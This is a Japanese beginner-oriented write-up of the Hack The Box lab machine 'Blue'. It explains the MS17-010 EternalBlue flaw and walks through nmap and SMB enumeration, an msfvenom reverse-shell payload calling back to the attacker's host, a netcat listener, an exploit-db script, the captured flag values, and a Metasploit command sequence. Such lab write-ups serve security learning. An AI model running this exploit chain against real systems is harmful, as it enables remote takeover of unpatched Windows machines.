初心者の為のhack the box100本ノック～その2：blue(easy)～

# 初めに
こんにちは！
100本ノックシリーズはセキュリティ初心者でも分かる様、なるべく詳しく解説することを目指したシリーズです！
用語解説などは折り畳みで解説しているので、見てみてください。

それでは今回もよろしくお願いします～

# 目次
・初めに
・挑戦するマシン
・1．情報収集
・2．下準備
・3．シェルの取得
・4．user.txtとroot.txtの取得
・おまけ
・最後に
・参考にさせていただいたサイト

# 挑戦するマシン
今回挑戦するマシンはblueです。
![htb_blue_rating.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/954dda6b-80a5-6bc3-4cf3-02947c2ac4fd.png)

かの有名な脆弱性、ms17-010を持ったマシンで、攻撃に使われたソフトは「Eternal Blue」と呼ばれています。
マシンとしての難易度は非常に簡単で、metasploitを用いれば一瞬で終わってしまう為、今回は使わない方法を使います。
(MetasploitFrameworkが自動でやってくれることを手動でやるだけです。)
おまけとして、最後にmsfconsoleから攻撃する方法も簡単に記して置きます。

<details>
<summary>Eternal Blueとは</summary>
EternalBlueは、Windowsのファイル共有プロトコルの実装に関する脆弱性を攻撃するためのソフトで、標的のコンピュータ上で任意のコードを実行できるようにします。<br>
2017年に暗号化型ランサムウェア「WannaCry」で利用されたことで有名になりました。
<br>
実際に起こっていることを簡単に言うと、[FEA](https://ja.wikipedia.org/wiki/拡張ファイル属性)(拡張ファイル属性)がNTFEA(windows NT FEA)に変換されるときに、構造的欠陥によりFEAのサイズが元のサイズより大きくなってしまう場合があり、バッファオーバーフローが発生しています。
<br>
(より詳しく知りたい方は[トレンドマイクロセキュリティブログ](https://blog.trendmicro.co.jp/archives/15154)や[CHECK POINT RESERACH(英語サイト)](https://research.checkpoint.com/2017/eternalblue-everything-know/)を見てみてください)


</details>

# 1．情報収集
初めにいつもの様にnmapスキャン

```bash
kali@kali:~$ nmap -sC -sV -Pn 10.10.10.40
```
<details><summary>nmapオプション1</summary>
```-sC```：デフォルトスクリプトを用いてスキャン
```-sV```：バージョン検出
```-Pn```：ping無しでスキャン

![scan_default.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/ceb2fa23-e158-2328-7eb5-0b2c4537715d.png)

smbのプロトコルのversionが古いため([参考](https://knowledge.rinpress.com/index.php/SMB%E3%83%97%E3%83%AD%E3%83%88%E3%82%B3%E3%83%AB%E3%81%AE%E3%83%90%E3%83%BC%E3%82%B8%E3%83%A7%E3%83%B3%E3%82%92%E8%AA%BF%E3%81%B9%E3%82%8B))smbに関する脆弱性を疑ってみます。なので、445番ポート(SMB)に対して、脆弱性のスキャンを行います。

```bash
kali@kali:~$ nmap --script=*smb-vuln* -p 445 10.10.10.40
```
![scan_smb-vuln.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/0f07c2be-2e94-6f3e-d96b-fd87bb23f7ec.png)

</details>

<details><summary>nmapオプション2</summary>
```--script=*smb-vuln*```：「smb-vuln」スクリプトを実行。以下の画像のリストの脆弱性の有無を確認する
![list_smb-vuln.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/0e36f36c-541d-ba9b-7cb5-45809a81ebc1.png)
```-p 445```：スキャン対象にポート445を指定
</details>


想像通り、ms17-010の脆弱性が存在しました。
[EXPOIT DATABASE](https://www.exploit-db.com/)からexploitを探します。
今回はこの下の画像のexploit(https://www.exploit-db.com/exploits/42315 )を利用します。

![eternalblue_exploit.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/efd7f24a-9a8d-f6e7-7564-9d45e3f01f7e.png)


# 2．下準備
これから使うファイル類を準備しておきます。
・[42315](https://www.exploit-db.com/exploits/42315)：exploit本体、ダウンロードしておく
・[mysmb.py](https://raw.githubusercontent.com/worawit/MS17-010/20301cc5a96fa367d46d88291637247cc6252488/mysmb.py)：上のexploitを動かす為に必要なモジュール、同じフォルダにダウンロードしておく
(impacket,pipもないなら入れてください)
<details><summary>impacket,pipの入れ方</summary>
<div>

```bash:impacket
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install
```

```bash:pip
sudo apt install python-pip
```
</div>
</details>
・リバースシェル用のペイロード：msfvenomコマンドで作成
<font color="silver">(msf使ってるやんっていうツッコミは無しで…)</font>

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.xx LPORT=1234 -f exe > blue.exe
```
<details><summary>msfvenomのオプション</summary>
```-p```：使用するペイロードを指定。```--payload```と同じ
```-f exe```：フォーマットにexeを指定。```--format=exe```と同じ
</details>


上の3つが準備出来たら、最後にexploitのコードを2箇所変更して準備完了です。
・Usernameをguestに
![42315_changepoint1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/c7a0b173-9c45-3966-3786-0123048e7707.png)
<details><summary>username,passwordの調査</summary>
この42315スクリプトを動かすには、SMBにアクセスできるUsernameとPasswordが必要です。
smbmapとsmbclientを使って調査をしてみます。
<div>

```
kali@kali:~$ smbmap -u guest -H 10.10.10.40
```
(smbmap -u \<username> -H \<host>)
![blue_smbmap.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/66be9512-d5b2-17bb-3ae1-a40fc6a19e47.png)

これによってusername:"guest"は、ShareとUsersに対してread onlyでアクセスできることが分かりました。smbclientでログインしてみます。

```
ashley@kali:~/htb/blue$ smbclient -U guest \\\\10.10.10.40\\Users
Enter WORKGROUP\guest's password: 
Try "help" to get a list of possible commands.
smb: \> 
```
passwordを空白でログインしたところ、ログインに成功しました。これで42315スクリプトが動かせます。
</div>
</details>


・smb_pwn関数で定義されているデフォルトのペイロードをmsfvenomで作成したペイロードに変更
![42315_changepoint2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/a8cc36fd-bbd8-b675-70f7-20bd6bd1f62b.png)






# 3．シェルの取得
通信をnetcatで待ち受けます。

```bash
nc -nvlp 1234
```

42314を実行します。

```bash
python 42314 10.10.10.40
```

本来はこれでroot権限が取れるはずですが、netBIOSTimeoutによって失敗…
色々試したのですが、原因がどうしてもわからない為一旦blueは保留にします……
ここから先は、ここでroot権限が取れたものとして解説します。
(pwn自体はmsfconsoleを用いて成功しました)

# 4．user.txtとroot.txtの取得
root権限が取得できたので、後はuser.txtとroot.txtをwhereコマンドを使って探します。

```bash
C:\>where /r \ "user.txt"
C:\Users\haris\Desktop\user.txt

C:\>more \Users\haris\Desktop\user.txt
4c546aea7dbee75cbd71de245c8deea9

C:\>where /r \ "root.txt"
C:\Users\Administrator\Desktop\root.txt

C:\>more \Users\Administrator\Desktop\root.txt
ff548eb71e920ff6c08843ce9df4e71

```

<details><summary>whereコマンドについて</summary>
whereコマンドはlinuxにおけるfindやwhichを合わせたようなコマンドで
引数に指定された名前と一致するファイルを呼び出してくれます。
```/r```：検索対象のディレクトリを指定、デフォルトではカレントディレクトリと環境変数PATHの指すディレクトリが指定されている。
</details>

Pwned!

# おまけ(metasploit使ったver)
nmapでms17-010脆弱性を特定した後からroot権限の取得まで、実行したコマンドのみ
 
```bash
kali@kali:~$ msfconsole
msf5 > search ms17-010
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.14.xx
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
```


# 最後に
netBIOSTimeoutの原因がどうしてもわからなかった…
下に吐かれたエラーを張っておくので、心当たりのある方は教えていただければ幸いです…
気を取り直して、次は同じく難易度easyの「Lame」に挑戦する予定です。
それでは！
![Blue_netBIOSTimeout.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/c45abcb7-f8d9-627f-52dd-67e70318b647.png)


# 参考にさせていただいたサイト
Qiita@yukitsukai47『[Hack The Box[Blue] -Writeup- without metasploit](https://qiita.com/yukitsukai47/items/4d629bb84aacfca5ef28)』
トレンドマイクロセキュリティブログ『[「WannaCry」を拡散させた脆弱性攻撃「EternalBlue」の仕組みを解説](https://blog.trendmicro.co.jp/archives/15154)』
CHECK POINT RESERACH『[EternalBlue – Everything There Is To Know](https://research.checkpoint.com/2017/eternalblue-everything-know/)』
Red Team Tutorials『[Hack The Box: Blue](https://redteamtutorials.com/2018/10/07/hack-the-box-blue/)』
とある社畜の頭脳整理『[SMBプロトコルのバージョンを調べる](https://knowledge.rinpress.com/index.php/SMB%E3%83%97%E3%83%AD%E3%83%88%E3%82%B3%E3%83%AB%E3%81%AE%E3%83%90%E3%83%BC%E3%82%B8%E3%83%A7%E3%83%B3%E3%82%92%E8%AA%BF%E3%81%B9%E3%82%8B)』